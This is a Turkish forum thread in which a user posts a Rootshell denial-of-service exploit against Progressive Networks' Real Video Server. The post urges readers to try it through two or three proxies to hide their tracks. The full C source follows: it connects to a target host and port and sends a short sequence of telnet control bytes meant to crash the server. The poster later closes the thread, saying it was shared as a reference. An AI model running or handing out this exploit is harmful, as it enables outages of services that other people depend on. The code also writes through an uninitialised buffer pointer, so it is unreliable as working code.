Duyuruyu Kapat
Facebook Gözat
Twitter Gözat

DOS Atak # kaynak

Konu, 'C / C++' kısmında hmustak tarafından paylaşıldı.

Konu Durumu:
Daha fazla cevap için açık değil.
  1. hmustak

    hmustak PersianBulls

    Kayıt:
    29 Mayıs 2002
    Mesajlar:
    4,607
    Beğenilen Mesajlar:
    0
    Meslek:
    BT/QA
    Şehir:
    Persian
    Az önce bi arkadaşım maille gönderdi (saat 0311) , denemesi bedava - 2-3 proxy üzerinden yapın naapcaksanız...

    DOS against realvideoserver by Progressive Networks


    Açıklama : Bu da bir başka DOS(denial of service) atak yöntemi.
    Sistem : Linux ve NT üzerinde çalışan Real Video Serverı.
    Hazırlayan : Rootshell

    Bu hata pnserver hatası gibi gözüksede, daha farklı çalışıyor. Telnet client den serveri çökerten 6 karakter göndererek tamponu dolduruyor. Çalışan exploit aşağıda :

    /*
    * pnserver exploit [1/15/98]
    *
    * Crash's Progressive Networks Real Video Server [ http://www.real.com/ ]
    *
    * [ http://www.rootshell.com/ ]
    *
    * Compiled under linux.
    *
    */
    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    void main(int argc, char *argv[])
    {
    struct sockaddr_in sin;
    struct hostent *hp;
    char *buffer;
    int sock;
    if (argc != 3) {
    printf("usage: %s <rvserver_host> <port>\n\nNote: Try port 7070.\n\n", argv[0]);
    exit(1);
    }
    hp = gethostbyname(argv[1]);
    if (hp==NULL) {
    printf("Unknown host: %s\n",argv[1]);
    exit(1);
    }
    bzero((char*) &sin, sizeof(sin));
    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
    sin.sin_family = hp->h_addrtype;
    sin.sin_port = htons(atoi(argv[2]));
    sock = socket(AF_INET, SOCK_STREAM, 0);
    connect(sock,(struct sockaddr *) &sin, sizeof(sin));
    sprintf(buffer, "%c%c%c%c%c", 255, 244, 255, 253, 6);
    write(sock, &buffer[0], strlen(buffer));
    close(sock);
    }
     
  2. hmustak

    hmustak PersianBulls

    Kayıt:
    29 Mayıs 2002
    Mesajlar:
    4,607
    Beğenilen Mesajlar:
    0
    Meslek:
    BT/QA
    Şehir:
    Persian
    burada kaynak olsun diye yazdım, Lamer tartışmasına girilmesin diye konuyu kapatıyorum

    :cool:
     
Konu Durumu:
Daha fazla cevap için açık değil.